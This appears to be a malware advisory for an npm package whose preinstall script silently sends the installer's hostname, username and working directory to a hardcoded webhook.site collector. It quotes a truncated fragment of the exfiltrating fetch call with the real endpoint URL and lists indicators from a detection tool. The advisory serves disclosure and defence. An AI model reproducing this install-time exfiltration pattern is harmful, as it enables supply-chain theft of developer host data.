GCVE-110-OSM-2026-11595

package.json declares a preinstall script that runs an inline node command reading the installer's OS hostname, username, and current working directory and sending them as query parameters to a hardcoded webhook.site collector URL (https://webhook.site/e32d3b8a-a5df-40cc-ae60-7a8343b581e4). The request fires automatically on npm install, before any user interaction, and the destination is an anonymous ephemeral webhook endpoint unrelated to any documented package purpose. Judge assessment: This is a credential/data-theft style install-time exfiltration package: the `preinstall` script in `package.json` runs `node -e` automatically and sends `os.hostname()`, `os.userInfo().username`, and `process.cwd()` to a hardcoded `webhook.site` collector. The attacker model is a supply-chain operator using a brand-new npm account to harvest installer environment and host metadata during `npm install` before any user interaction. The evidence is direct and unambiguous, with the exfil endpoint recovered in plaintext and classified as `custom-c2` from the same file. The OSV advisory is corroborated by the actual script content, not just metadata. ENTRY - Preinstall Script in package.json: ""preinstall": "node -e \"" DESTINATION - 1 exfil (custom-c2) (values recorded in verified_iocs) EXFIL - OAST/Interactsh Exfiltration in package.json: "webhook.site" - HTTP Data Exfiltration in package.json: "fetch('https://webhook.site/e32d3b8a-a5df-40cc-ae60-7a8343b581e4?host='+require(..." - Network Request in package.json: "fetch('https:" ADDITIONAL FINDINGS - Brand New Package - Very New NPM Publisher Account